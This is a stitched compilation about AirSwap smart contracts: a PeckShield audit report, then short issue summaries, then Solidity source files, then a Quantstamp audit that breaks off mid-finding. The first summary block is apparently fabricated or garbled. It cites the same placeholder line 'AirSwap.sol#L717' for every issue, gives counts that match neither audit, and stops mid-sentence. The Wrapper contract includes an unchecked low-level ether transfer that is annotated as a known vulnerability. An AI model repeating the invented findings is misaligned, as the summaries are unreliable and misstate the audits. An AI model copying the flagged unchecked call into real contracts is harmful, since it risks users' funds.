governance and community activities are also supported by rewards protocols built with on-chain components. The basic information of audited contracts is as follows: Table 1.1: Basic Information of AirSwap ItemDescription NameAirSwap Protocol Website https://www.airswap.io/ TypeSmart Contract Language Solidity Audit Method Whitebox Latest Audit Report February 15, 2022 In the following, we show the Git repository of reviewed files and the commit hash value used in this audit: 4/20 PeckShield Audit Report #: 2022-038Public •https://github.com/airswap/airswap-protocols.git (ac62b71) And this is the commit ID after all fixes for the issues found in the audit have been checked in: •https://github.com/airswap/airswap-protocols.git (84935eb) 1.2 About PeckShield PeckShield Inc. [10] is a leading blockchain security company with the goal of elevating the secu- rity, privacy, and usability of current blockchain ecosystems by offering top-notch, industry-leading servicesandproducts(includingtheserviceofsmartcontractauditing). WearereachableatTelegram (https://t.me/peckshield),Twitter( http://twitter.com/peckshield),orEmail( contact@peckshield.com). Table 1.2: Vulnerability Severity ClassificationImpactHigh Critical High Medium Medium High Medium Low Low Medium Low Low High Medium Low Likelihood 1.3 Methodology To standardize the evaluation, we define the following terminology based on OWASP Risk Rating Methodology [9]: •Likelihood represents how likely a particular vulnerability is to be uncovered and exploited in the wild; •Impact measures the technical loss and business damage of a successful attack; •Severity demonstrates the overall criticality of the risk. Likelihood and impact are categorized into three ratings: H,MandL, i.e., high,mediumand lowrespectively. Severity is determined by likelihood and impact, and can be accordingly classified into four categories, i.e., Critical,High,Medium,Lowshown in Table 1.2. 5/20 PeckShield Audit Report #: 2022-038Public Table 1.3: The Full List of Check Items Category Check Item Basic Coding BugsConstructor Mismatch Ownership Takeover Redundant Fallback Function Overflows & Underflows Reentrancy Money-Giving Bug Blackhole Unauthorized Self-Destruct Revert DoS Unchecked External Call Gasless Send Send Instead Of Transfer Costly Loop (Unsafe) Use Of Untrusted Libraries (Unsafe) Use Of Predictable Variables Transaction Ordering Dependence Deprecated Uses Semantic Consistency Checks Semantic Consistency Checks Advanced DeFi ScrutinyBusiness Logics Review Functionality Checks Authentication Management Access Control & Authorization Oracle Security Digital Asset Escrow Kill-Switch Mechanism Operation Trails & Event Generation ERC20 Idiosyncrasies Handling Frontend-Contract Integration Deployment Consistency Holistic Risk Management Additional RecommendationsAvoiding Use of Variadic Byte Array Using Fixed Compiler Version Making Visibility Level Explicit Making Type Inference Explicit Adhering To Function Declaration Strictly Following Other Best Practices 6/20 PeckShield Audit Report #: 2022-038Public To evaluate the risk, we go through a list of check items and each would be labeled with a severity category. For one check item, if our tool or analysis does not identify any issue, the contract is considered safe regarding the check item. For any discovered issue, we might further deploy contracts on our private testnet and run tests to confirm the findings. If necessary, we would additionally build a PoC to demonstrate the possibility of exploitation. The concrete list of check items is shown in Table 1.3. In particular, we perform the audit according to the following procedure: •BasicCodingBugs: We first statically analyze given smart contracts with our proprietary static code analyzer for known coding bugs, and then manually verify (reject or confirm) all the issues found by our tool. •Semantic Consistency Checks: We then manually check the logic of implemented smart con- tracts and compare with the description in the white paper. •Advanced DeFiScrutiny: We further review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. •Additional Recommendations: We also provide additional suggestions regarding the coding and development of smart contracts from the perspective of proven programming practices. To better describe each issue we identified, we categorize the findings with Common Weakness Enumeration (CWE-699) [8], which is a community-developed list of software weakness types to better delineate and organize weaknesses around concepts frequently encountered in software devel- opment. Though some categories used in CWE-699 may not be relevant in smart contracts, we use the CWE categories in Table 1.4 to classify our findings. Moreover, in case there is an issue that may affect an active protocol that has been deployed, the public version of this report may omit such issue, but will be amended with full details right after the affected protocol is upgraded with respective fixes. 1.4 Disclaimer Note that this security audit is not designed to replace functional tests required before any software release, and does not give any warranties on finding all possible security issues of the given smart contract(s) or blockchain software, i.e., the evaluation result does not guarantee the nonexistence of any further findings of security issues. As one audit-based assessment cannot be considered comprehensive, we always recommend proceeding with several independent audits and a public bug bounty program to ensure the security of smart contract(s). Last but not least, this security audit should not be used as investment advice. 7/20 PeckShield Audit Report #: 2022-038Public Table 1.4: Common Weakness Enumeration (CWE) Classifications Used in This Audit Category Summary Configuration Weaknesses in this category are typically introduced during the configuration of the software. Data Processing Issues Weaknesses in this category are typically found in functional- ity that processes data. Numeric Errors Weaknesses in this category are related to improper calcula- tion or conversion of numbers. Security Features Weaknesses in this category are concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management. (Software security is not security software.) Time and State Weaknesses in this category are related to the improper man- agement of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads. Error Conditions, Return Values, Status CodesWeaknesses in this category include weaknesses that occur if a function does not generate the correct return/status code, or if the application does not handle all possible return/status codes that could be generated by a function. Resource Management Weaknesses in this category are related to improper manage- ment of system resources. Behavioral Issues Weaknesses in this category are related to unexpected behav- iors from code that an application uses. Business Logics Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application. Errors in business logic can be devastating to an entire application. Initialization and Cleanup Weaknesses in this category occur in behaviors that are used for initialization and breakdown. Arguments and Parameters Weaknesses in this category are related to improper use of arguments or parameters within function calls. Expression Issues Weaknesses in this category are related to incorrectly written expressions within code. Coding Practices Weaknesses in this category are related to coding practices that are deemed unsafe and increase the chances that an ex- ploitable vulnerability will be present in the application. They may not directly introduce a vulnerability, but indicate the product has not been carefully developed or maintained. 8/20 PeckShield Audit Report #: 2022-038Public 2 | Findings 2.1 Summary Here is a summary of our findings after analyzing the design and implementation of the AirSwap protocol smart contracts. During the first phase of our audit, we study the smart contract source code and run our in-house static code analyzer through the codebase. The purpose here is to statically identify known coding bugs, and then manually verify (reject or confirm) issues reported by our tool. We further manually review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. Severity # of Findings Critical 0 High 0 Medium 1 Low 3 Informational 0 Total 4 Wehavesofaridentifiedalistofpotentialissues: someoftheminvolvesubtlecornercasesthatmight not be previously thought of, while others refer to unusual interactions among multiple contracts. For each uncovered issue, we have therefore developed test cases for reasoning, reproduction, and/or verification. After further analysis and internal discussion, we determined a few issues of varying severities need to be brought up and paid more attention to, which are categorized in the above table. More information can be found in the next subsection, and the detailed discussions of each of them are in Section 3. 9/20 PeckShield Audit Report #: 2022-038Public 2.2 Key Findings Overall, these smart contracts are well-designed and engineered, though the implementation can be improved by resolving the identified issues (shown in Table 2.1), including 1medium-severity vulnerability and 3low-severity vulnerabilities. Table 2.1: Key Audit Findings IDSeverity Title Category Status PVE-001 Low Proper Allowance Reset For Old Staking ContractsCoding Practices Fixed PVE-002 Low Removal of Unused State/Code Coding Practices Fixed PVE-003 Low Accommodation of Non-ERC20- Compliant TokensBusiness Logics Fixed PVE-004 Medium Trust Issue of Admin Keys Security Features Mitigated Beside the identified issues, we emphasize that for any user-facing applications and services, it is always important to develop necessary risk-control mechanisms and make contingency plans, which may need to be exercised before the mainnet deployment. The risk-control mechanisms should kick in at the very moment when the contracts are being deployed on mainnet. Please refer to Section 3 for details. 10/20 PeckShield Audit Report #: 2022-038Public 3 | Detailed Results 3.1 Proper Allowance Reset For Old Staking Contracts •ID: PVE-001 •Severity: Low •Likelihood: Low •Impact: Low•Target: Pool •Category: Coding Practices [6] •CWE subcategory: CWE-1041 [1] Description The AirSwapprotocol has a Poolcontract that supports the main functionality of staking and claims. It also allows the privileged owner to update the active staking contract stakingContract . In the following, we examine this specific setStakingContract() function. It comes to our attention that this function properly sets up the spending allowance to the new stakingContract . However, it forgets to cancel the previous spending allowance from the old stakingContract . 149 /** 150 * @notice Set staking contract address 151 * @dev Only owner 152 * @param _stakingContract address 153 */ 154 function setStakingContract ( address _stakingContract ) 155 external 156 override 157 onlyOwner 158 { 159 require ( _stakingContract != address (0) , " INVALID_ADDRESS "); 160 stakingContract = _stakingContract ; 161 IERC20 ( stakingToken ). approve ( stakingContract , 2**256 - 1); 162 } Listing 3.1: Pool::setStakingContract() 11/20 PeckShield Audit Report #: 2022-038Public Recommendation Remove the spending allowance from the old stakingContract when it is updated. Status This issue has been fixed in the following PR: 776. 3.2 Removal of Unused State/Code •ID: PVE-002 •Severity: Low •Likelihood: Low •Impact: Low•Target: Multiple Contracts •Category: Coding Practices [6] •CWE subcategory: CWE-563 [3] Description AirSwap makes good use of a number of reference contracts, such as ERC20,SafeERC20 , and SafeMath, to facilitate its code implementation and organization. For example, the Poolsmart contract has so far imported at least four reference contracts. However, we observe the inclusion of certain unused code or the presence of unnecessary redundancies that can be safely removed. For example, if we examine closely the Stakingcontract, there are a number of states that have beendefined. However,someofthemareneverused. Examplesinclude usedIdsand unlockTimestamps . These unused states can be safely removed. 37 // Mapping of account to delegate 38 mapping (address = >address )public a c c o u n t D e l e g a t e s ; 39 40 // Mapping of delegate to account 41 mapping (address = >address )public d e l e g a t e A c c o u n t s ; 42 43 // Mapping of timelock ids to used state 44 mapping (bytes32 = >bool )private u s e d I d s ; 45 46 // Mapping of ids to timestamps 47 mapping (bytes32 = >uint256 )private unlockTimestamps ; 48 49 // ERC -20 token properties 50 s t r i n g public name ; 51 s t r i n g public symbol ; Listing 3.2: The StakingContract Moreover, the Wrappercontract has a function sellNFT() , which is marked as payable, but its internal logic has explicitly restricted the following require(msg.value == 0) . As a result, both payable and the restriction can be removed together. 12/20 PeckShield Audit Report #: 2022-038Public 162 function sellNFT ( 163 uint256 nonce , 164 uint256 expiry , 165 address signerWallet , 166 address signerToken , 167 uint256 signerAmount , 168 address senderToken , 169 uint256 senderID , 170 uint8 v, 171 bytes32 r, 172 bytes32 s 173 ) public payable { 174 require ( msg . value == 0, " VALUE_MUST_BE_ZERO "); 175 IERC721 ( senderToken ). setApprovalForAll ( address ( swapContract ), true ); 176 IERC721 ( senderToken ). transferFrom ( msg. sender , address ( this ), senderID ); 177 swapContract . sellNFT ( 178 nonce , 179 expiry , 180 signerWallet , 181 signerToken , 182 signerAmount , 183 senderToken , 184 senderID , 185 v, 186 r, 187 s 188 ); 189 _unwrapEther ( signerToken , signerAmount ); 190 emit WrappedSwapFor ( msg . sender ); 191 } Listing 3.3: Wrapper::sellNFT() Recommendation Consider the removal of the redundant code with a simplified, consistent implementation. Status The issue has been fixed with the following PRs: 777, 778, and 779. 13/20 PeckShield Audit Report #: 2022-038Public 3.3 Accommodation of Non-ERC20-Compliant Tokens •ID: PVE-003 •Severity: Low •Likelihood: Low •Impact: High•Target: Multiple Contracts •Category: Business Logic [7] •CWE subcategory: CWE-841 [4] Description Though there is a standardized ERC-20 specification, many token contracts may not strictly follow the specification or have additional functionalities beyond the specification. In the following, we examine the transfer() routine and related idiosyncrasies from current widely-used token contracts. In particular, we use the popular stablecoin, i.e., USDT, as our example. We show the related code snippet below. On its entry of approve() , there is a requirement, i.e., require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))) . This specific requirement essentially indicates the need of reducing the allowance to 0first (by calling approve(_spender, 0) ) if it is not, and then calling a secondonetosettheproperallowance. Thisrequirementisinplacetomitigatetheknown approve()/ transferFrom() racecondition(https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729). 194 /** 195 * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg . sender . 196 * @param _spender The address which will spend the funds . 197 * @param _value The amount of tokens to be spent . 198 */ 199 function approve ( address _spender , uint _value ) public o n l y P a y l o a d S i z e (2 ∗32) { 201 // To change the approve amount you first have to reduce the addresses ‘ 202 // allowance to zero by calling ‘approve ( _spender , 0) ‘ if it is not 203 // already 0 to mitigate the race condition described here : 204 // https :// github . com / ethereum / EIPs / issues /20# issuecomment -263524729 205 require ( ! ( ( _value != 0) && ( a l l o w e d [ msg.sender ] [ _spender ] != 0) ) ) ; 207 a l l o w e d [ msg.sender ] [ _spender ] = _value ; 208 Approval ( msg.sender , _spender , _value ) ; 209 } Listing 3.4: USDT Token Contract Because of that, a normal call to approve() is suggested to use the safe version, i.e., safeApprove() , In essence, it is a wrapper around ERC20 operations that may either throw on failure or return false without reverts. Moreover, the safe version also supports tokens that return no value (and instead revert or throw on failure). Note that non-reverting calls are assumed to be successful. Similarly, there is a safe version of transfer() as well, i.e., safeTransfer() . 14/20 PeckShield Audit Report #: 2022-038Public 38 /** 39 * @dev Deprecated . This function has issues similar to the ones found in 40 * {IERC20 - approve }, and its usage is discouraged . 41 * 42 * Whenever possible , use { safeIncreaseAllowance } and 43 * { safeDecreaseAllowance } instead . 44 */ 45 function safeApprove ( 46 IERC20 token , 47 address spender , 48 uint256 value 49 ) internal { 50 // safeApprove should only be called when setting an initial allowance , 51 // or when resetting it to zero . To increase and decrease it , use 52 // ’ safeIncreaseAllowance ’ and ’ safeDecreaseAllowance ’ 53 require ( 54 ( value == 0) ( token . allowance ( address ( this ), spender ) == 0) , 55 " SafeERC20 : approve from non - zero to non - zero allowance " 56 ); 57 _callOptionalReturn (token , abi . encodeWithSelector ( token . approve . selector , spender , value )); 58 } Listing 3.5: SafeERC20::safeApprove() In the following, we show the unstake() routine from the Stakingcontract. If the USDTtoken is supported as token, the unsafe version of token.transfer(account, amount) (line 178) may revert as there is no return value in the USDTtoken contract’s transfer()/transferFrom() implementation (but the IERC20interface expects a return value)! 168 /** 169 * @notice Unstake tokens 170 * @param amount uint256 171 */ 172 function unstake ( uint256 amount ) external override { 173 address account ; 174 delegateAccounts [ msg . sender ] != address (0) 175 ? account = delegateAccounts [ msg . sender ] 176 : account = msg . sender ; 177 _unstake ( account , amount ); 178 token . transfer ( account , amount ); 179 emit Transfer ( account , address (0) , amount ); 180 } Listing 3.6: Staking::unstake() Note this issue is also applicable to other routines in Swapand Poolcontracts. For the safeApprove ()support, there is a need to approve twice: the first time resets the allowance to zero and the second time approves the intended amount. Recommendation Accommodate the above-mentioned idiosyncrasy about ERC20-related 15/20 PeckShield Audit Report #: 2022-038Public approve()/transfer()/transferFrom() . Status This issue has been fixed in the following PRs: 781and 782. 3.4 Trust Issue of Admin Keys •ID: PVE-004 •Severity: Medium •Likelihood: Medium •Impact: Medium•Target: Multiple Contracts •Category: Security Features [5] •CWE subcategory: CWE-287 [2] Description In the AirSwapprotocol, there is a privileged owneraccount that plays a critical role in governing and regulating the system-wide operations (e.g., parameter setting and payee adjustment). It also has the privilege to regulate or govern the flow of assets within the protocol. With great privilege comes great responsibility. Our analysis shows that the owneraccount is indeed privileged. In the following, we show representative privileged operations in the Poolprotocol. 164 /** 165 * @notice Set staking token address 166 * @dev Only owner 167 * @param _stakingToken address 168 */ 169 function setStakingToken ( address _stakingToken ) external o v e r r i d e onlyOwner { 170 require ( _stakingToken != address (0) , " INVALID_ADDRESS " ) ; 171 stakingToken = _stakingToken ; 172 IERC20 ( stakingToken ) . approve ( s t a k i n g C o n t r a c t , 2 ∗∗256 −1) ; 173 } 175 /** 176 * @notice Admin function to migrate funds 177 * @dev Only owner 178 * @param tokens address [] 179 * @param dest address 180 */ 181 function drainTo ( address [ ] c a l l d a t a tokens , address d e s t ) 182 external 183 o v e r r i d e 184 onlyOwner 185 { 186 for (uint256 i = 0 ; i < tokens . length ; i ++) { 187 uint256 b a l = IERC20 ( tokens [ i ] ) . balanceOf ( address (t h i s ) ) ; 188 IERC20 ( tokens [ i ] ) . s a f e T r a n s f e r ( dest , b a l ) ; 189 } 190 emit DrainTo ( tokens , d e s t ) ; 16/20 PeckShield Audit Report #: 2022-038Public 191 } Listing 3.7: Various Privileged Operations in Pool We emphasize that the privilege assignment with various protocol contracts is necessary and required for proper protocol operations. However, it is worrisome if the owneris not governed by a DAO-like structure. We point out that a compromised owneraccount would allow the attacker to invoke the above drainToto steal funds in current protocol, which directly undermines the assumption of the AirSwap protocol. Recommendation Promptly transfer the privileged account to the intended DAO-like governance contract. All changed to privileged operations may need to be mediated with necessary timelocks. Eventually, activate the normal on-chain community-based governance life-cycle and ensure the in- tended trustless nature and high-quality distributed governance. Status This issue has been confirmed and partially mitigated with a multi-sig account to regulate the governance privileges. The multi-sig account is a standard Gnosis Safe wallet, which is controlled by multiple participants, who agree to propose and submit transactions as they relate to the DAO’s proposal submission and voting mechanism. This avoids risk of any single compromised EOA as it would require collusion of multiple participants. 17/20 PeckShield Audit Report #: 2022-038Public 4 | Conclusion In this audit, we have analyzed the design and implementation of the AirSwapprotocol, which curates a peer-to-peer network for trading digital assets. The protocol is designed to protect traders from counterparty risk, price slippage, and front running. Any market participant can discover others and trade directly peer-to-peer. The current code base is well structured and neatly organized. Those identified issues are promptly confirmed and addressed. Meanwhile, we need to emphasize that Solidity-based smart contracts as a whole are still in an early, but exciting stage of development. To improve this report, we greatly appreciate any constructive feedbacks or suggestions, on our methodology, audit findings, or potential gaps in scope/coverage. 18/20 PeckShield Audit Report #: 2022-038Public References [1] MITRE. CWE-1041: Use of Redundant Code. https://cwe.mitre.org/data/definitions/1041. html. [2] MITRE. CWE-287: ImproperAuthentication. https://cwe.mitre.org/data/definitions/287.html. [3] MITRE. CWE-563: Assignment to Variable without Use. https://cwe.mitre.org/data/ definitions/563.html. [4] MITRE. CWE-841: Improper Enforcement of Behavioral Workflow. https://cwe.mitre.org/ data/definitions/841.html. [5] MITRE. CWE CATEGORY: 7PK - Security Features. https://cwe.mitre.org/data/definitions/ 254.html. [6] MITRE. CWE CATEGORY: Bad Coding Practices. https://cwe.mitre.org/data/definitions/ 1006.html. [7] MITRE. CWE CATEGORY: Business Logic Errors. https://cwe.mitre.org/data/definitions/ 840.html. [8] MITRE. CWE VIEW: Development Concepts. https://cwe.mitre.org/data/definitions/699. html. [9] OWASP. Risk Rating Methodology. https://www.owasp.org/index.php/OWASP_Risk_ Rating_Methodology. 19/20 PeckShield Audit Report #: 2022-038Public [10] PeckShield. PeckShield Inc. https://www.peckshield.com. 20/20 PeckShield Audit Report #: 2022-038
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 1 - Critical: 1 - Observations: 1 - Unresolved: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked external calls (AirSwap.sol#L717) 2.b Fix (one line with code reference) - Add checks to external calls (AirSwap.sol#L717) Moderate 3.a Problem (one line with code reference) - Unchecked return values (AirSwap.sol#L717) 3.b Fix (one line with code reference) - Add checks to return values (AirSwap.sol#L717) Major 4.a Problem (one line with code reference) - Unchecked user input (AirSwap.sol#L717) 4.b Fix (one line with code reference) - Add checks to user input (AirSwap.sol#L717) Critical 5.a Problem (one line with code reference) - Unchecked user input ( Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: Funds may be locked if is called multiple times setRuleAndIntent 4.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the token transfer logic of Delegate.setRuleAndIntent and Indexer.setIntent are compatible. 2.b Fix: This issue has been fixed as of pull request. Moderate Issues: 3.a Problem: Centralization of Power in Smart Contracts 3.b Fix: This has been fixed by removing the pausing functionality, unsetIntentForUser() and killContract(). Major Issues: 0 Critical Issues: 0 Observations: Integer arithmetic may cause incorrect pricing logic when plugging back into Equation A. Conclusion: The report has identified one minor and one moderate issue. Both issues have been fixed as of the latest commit.
pragma solidity >=0.4.21 <0.6.0; contract Migrations { address public owner; uint public lastCompletedMigration; constructor() public { owner = msg.sender; } modifier restricted() { if (msg.sender == owner) _; } function setCompleted(uint completed) external restricted { lastCompletedMigration = completed; } function upgrade(address newAddress) external restricted { Migrations upgraded = Migrations(newAddress); upgraded.setCompleted(lastCompletedMigration); } } pragma solidity 0.5.12; import "@airswap/tokens/contracts/FungibleToken.sol"; import "@airswap/tokens/contracts/WETH9.sol"; import "@airswap/swap/contracts/Swap.sol"; import "@gnosis.pm/mock-contract/contracts/MockContract.sol"; contract Imports {}/* Copyright 2019 Swap Holdings Ltd. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.12; pragma experimental ABIEncoderV2; import "@airswap/swap/contracts/interfaces/ISwap.sol"; import "@airswap/tokens/contracts/interfaces/IWETH.sol"; import "openzeppelin-solidity/contracts/ownership/Ownable.sol"; /** * @title Wrapper: Send and receive ether for WETH trades */ contract Wrapper is Ownable { // The Swap contract to settle trades ISwap public swapContract; // The WETH contract to wrap ether IWETH public wethContract; // Boolean marking when the contract is paused - users cannot call functions when true // defaults to false bool public contractPaused; /** * @notice Contract Constructor * @param wrapperSwapContract address * @param wrapperWethContract address */ constructor( address wrapperSwapContract, address wrapperWethContract ) public { swapContract = ISwap(wrapperSwapContract); wethContract = IWETH(wrapperWethContract); } /** * @notice Modifier to prevent function calling unless the contract is not paused */ modifier notPaused() { require(!contractPaused, "CONTRACT_IS_PAUSED"); _; } /** * @notice Modifier to prevent function calling unless the contract is paused */ modifier paused() { require(contractPaused, "CONTRACT_NOT_PAUSED"); _; } /** * @notice Required when withdrawing from WETH * @dev During unwraps, WETH.withdraw transfers ether to msg.sender (this contract) */ function() external payable { // Ensure the message sender is the WETH contract. if(msg.sender != address(wethContract)) { revert("DO_NOT_SEND_ETHER"); } } /** * @notice Set whether the contract is paused * @dev Only callable by owner * @param newStatus bool New status of contractPaused */ function setPausedStatus(bool newStatus) external onlyOwner { contractPaused = newStatus; } /** * @notice Destroy the Contract * @dev Only callable by owner and when contractPaused * @param recipient address Recipient of any ETH in the contract */ function killContract(address payable recipient) external onlyOwner paused { selfdestruct(recipient); } /** * @notice Send an Order * @dev Sender must authorize this contract on the swapContract * @dev Sender must approve this contract on the wethContract * @param order Types.Order The Order */ function swap( Types.Order calldata order ) external payable notPaused { // Ensure msg.sender is sender wallet. require(order.sender.wallet == msg.sender, "MSG_SENDER_MUST_BE_ORDER_SENDER"); // Ensure that the signature is present. // It will be explicitly checked in Swap. require(order.signature.v != 0, "SIGNATURE_MUST_BE_SENT"); // The sender is sending ether that must be wrapped. if (order.sender.token == address(wethContract)) { // Ensure message value is sender param. require(order.sender.param == msg.value, "VALUE_MUST_BE_SENT"); // Wrap (deposit) the ether. wethContract.deposit.value(msg.value)(); // Transfer the WETH from the wrapper to sender. wethContract.transfer(order.sender.wallet, order.sender.param); } else { // Ensure no unexpected ether is sent. require(msg.value == 0, "VALUE_MUST_BE_ZERO"); } // Perform the swap. swapContract.swap(order); // The sender is receiving ether that must be unwrapped. if (order.signer.token == address(wethContract)) { // Transfer from the sender to the wrapper. wethContract.transferFrom(order.sender.wallet, address(this), order.signer.param); // Unwrap (withdraw) the ether. wethContract.withdraw(order.signer.param); // Transfer ether to the user. // solium-disable-next-line security/no-call-value // SWC-Unchecked Call Return Value: L152 msg.sender.call.value(order.signer.param)(""); } } }
February 3rd 2020— Quantstamp Verified AirSwap This smart contract audit was prepared by Quantstamp, the protocol for securing smart contracts. Executive Summary Type Peer-to-Peer Trading Smart Contracts Auditors Ed Zulkoski , Senior Security EngineerKacper Bąk , Senior Research EngineerSung-Shine Lee , Research EngineerTimeline 2019-11-04 through 2019-12-20 EVM Constantinople Languages Solidity, Javascript Methods Architecture Review, Unit Testing, Functional Testing, Computer-Aided Verification, Manual Review Specification AirSwap Documentation Source Code Repository Commit airswap-protocols b87d292 Goals Can funds be locked in the contracts? •Are funds properly exchanged when a swap occurs? •Do the contracts adhere to Solidity best practices? •Changelog 2019-11-20 - Initial report •2019-11-26 - Revised report based on commit •bdf1289 2019-12-04 - Revised report based on commit •8798982 2019-12-04 - Revised report based on commit •f161d31 2019-12-20 - Revised report based on commit •5e8a07c 2020-01-20 - Revised report based on commit •857e296 Overall AssessmentThe AirSwap smart contracts are well- documented and generally follow best practices. However, several issues were discovered during the audit that may cause the contracts to not behave as intended, such as funds being to be locked in contracts, or incorrect checks on external contract calls. These findings, along with several other issues noted below, should be addressed before the contracts are ready for production. Fluidity has addressed our concerns as of commit . Update:857e296 as the contracts in are claimed to be direct copies from OpenZeppelin or deployed contracts taken from Etherscan, with minor event/variable name changes. These files were not included as part of the final audit. Disclaimer:source/tokens/contracts/ Total Issues9 (7 Resolved)High Risk Issues 1 (1 Resolved)Medium Risk Issues 2 (2 Resolved)Low Risk Issues 4 (3 Resolved)Informational Risk Issues 2 (1 Resolved)Undetermined Risk Issues 0 (0 Resolved) High Risk The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. Medium Risk The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. Low Risk The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low- impact in view of the client’s business circumstances. Informational The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. Undetermined The impact of the issue is uncertain. Unresolved Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Acknowledged the issue remains in the code but is a result of an intentional business or design decision. As such, it is supposed to be addressed outside the programmatic means, such as: 1) comments, documentation, README, FAQ; 2) business processes; 3) analyses showing that the issue shall have no negative consequences in practice (e.g., gas analysis, deployment settings). Resolved Adjusted program implementation, requirements or constraints to eliminate the risk. Summary of Findings ID Description Severity Status QSP- 1 Funds may be locked if is called multiple times setRuleAndIntent High Resolved QSP- 2 Centralization of Power Medium Resolved QSP- 3 Integer arithmetic may cause incorrect pricing logic Medium Resolved QSP- 4 success should not be checked by querying token balances transferFrom()Low Resolved QSP- 5 does not check that the contract is correct isValid() validator Low Resolved QSP- 6 Unchecked Return Value Low Resolved QSP- 7 Gas Usage / Loop Concerns forLow Acknowledged QSP- 8 Return values of ERC20 function calls are not checked Informational Resolved QSP- 9 Unchecked constructor argument Informational - QuantstampAudit Breakdown Quantstamp's objective was to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. Toolset The notes below outline the setup and steps performed in the process of this audit . Setup Tool Setup: • Maian• Truffle• Ganache• SolidityCoverage• Mythril• Truffle-Flattener• Securify• SlitherSteps taken to run the tools: 1. Installed Truffle:npm install -g truffle 2. Installed Ganache:npm install -g ganache-cli 3. Installed the solidity-coverage tool (within the project's root directory):npm install --save-dev solidity-coverage 4. Ran the coverage tool from the project's root directory:./node_modules/.bin/solidity-coverage 5. Flattened the source code usingto accommodate the auditing tools. truffle-flattener 6. Installed the Mythril tool from Pypi:pip3 install mythril 7. Ran the Mythril tool on each contract:myth -x path/to/contract 8. Ran the Securify tool:java -Xmx6048m -jar securify-0.1.jar -fs contract.sol 9. Cloned the MAIAN tool:git clone --depth 1 https://github.com/MAIAN-tool/MAIAN.git maian 10. Ran the MAIAN tool on each contract:cd maian/tool/ && python3 maian.py -s path/to/contract contract.sol 11. Installed the Slither tool:pip install slither-analyzer 12. Run Slither from the project directoryslither . Assessment Findings QSP-1 Funds may be locked if is called multiple times setRuleAndIntent Severity: High Risk Resolved Status: , File(s) affected: Delegate.sol Indexer.sol The function sets the stake of the delegate owner in the contract by transferring staking tokens from the user to the indexer, through the contract. However, if the function is called a second time, the underlying will only transfer a partial amount of the total transferred tokens (i.e., the delta of the previously set intent value versus the currently set intent value). Since the behavior of the and the differ in this regard, tokens can become stuck in the Delegate. Description:Delegate.setRuleAndIntent Indexer Delegate Indexer.setIntent Delegate Indexer This is elaborated upon in issue . 274Ensure that the token transfer logic of and are compatible. Recommendation: Delegate.setRuleAndIntent Indexer.setIntent This issue has been fixed as of pull request . Update 277 QSP-2 Centralization of PowerSeverity: Medium Risk Resolved Status: , File(s) affected: Indexer.sol Index.sol Smart contracts will often have variables to designate the person with special privileges to make modifications to the smart contract. However, this centralization of power needs to be made clear to the users, especially depending on the level of privilege the contract allows to the owner. Description:owner In particular, the owner may the contract locking funds forever. Since the function does not send any of the transferred tokens out of the contract, all tokens will remain permanently locked in the contract if not previously removed by users. selfdestructkillContract() The platform can censor transaction via : whenever an intent is set, the owner can just unset it. It is also not easy to see if it is the owners who did this, as the event emitted is the same. unsetIntentForUser()The owner may also permanently pause the contract locking funds. Users should be made aware of the roles and responsibilities of Fluidity as a central authority to these contracts. Consider removing the function if it is not necessary. As the function is intended to assist users during the contract being paused, it may be sensible to add the modifier to ensure it is not doing censorship. Recommendation:killContract() unsetIntentForUser() paused This has been fixed by removing the pausing functionality, , and . Update: unsetIntentForUser() killContract() QSP-3 Integer arithmetic may cause incorrect pricing logic Severity: Medium Risk Resolved Status: File(s) affected: Delegate.sol On L233 and L290, we have the following two conditions that relate sender and signer order amounts: Description: L233 (Equation "A"): •order.sender.param == order.signer.param.mul(10 ** rule.priceExp).div(rule.priceCoef) L290 (Equation "B"): •signerParam = senderParam.mul(rule.priceCoef).div(10 ** rule.priceExp); Due to integer arithmetic truncation issues, these two equations may not relate as expected. Consider the case where: rule.priceExp = 2 •rule.priceCoef = 3 •For Equation B, when senderParam = 90, we obtain due to integer truncation. signerParam = 90 * 3 // 100 = 2 However, when plugging back into Equation A, we obtain (which doesn't equal the expected value of 90`. 2 * 100 // 3 = 66 This means that if the signerParam is calculated by the logic in Equation B, it would not pass the requirement of Equation A. Consider adding checks to ensure that order amounts behave correctly with respect to these two equations. Recommendation: This is fixed as of the latest commit. In particular, the case where the signer invokes , and then the values are plugged into should work as intended. Update:_calculateSenderParam() _calculateSignerParam() QSP-4 success should not be checked by querying token balances transferFrom() Severity: Low Risk Resolved Status: File(s) affected: Swap.sol On L349: is a dangerous equality. Although this will hold for most ERC20 tokens, the specification does not guarantee that the external ERC20 contract will adhere to this condition. For example, the token could mint or burn tokens upon a for various reasons. Description:require(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); transfer() We recommend removing this balance check require-statement (along with the assignment on L343), and instead wrap L346 in a require-statement, as discussed in the separate finding "Return values of ERC20 function calls are not checked". 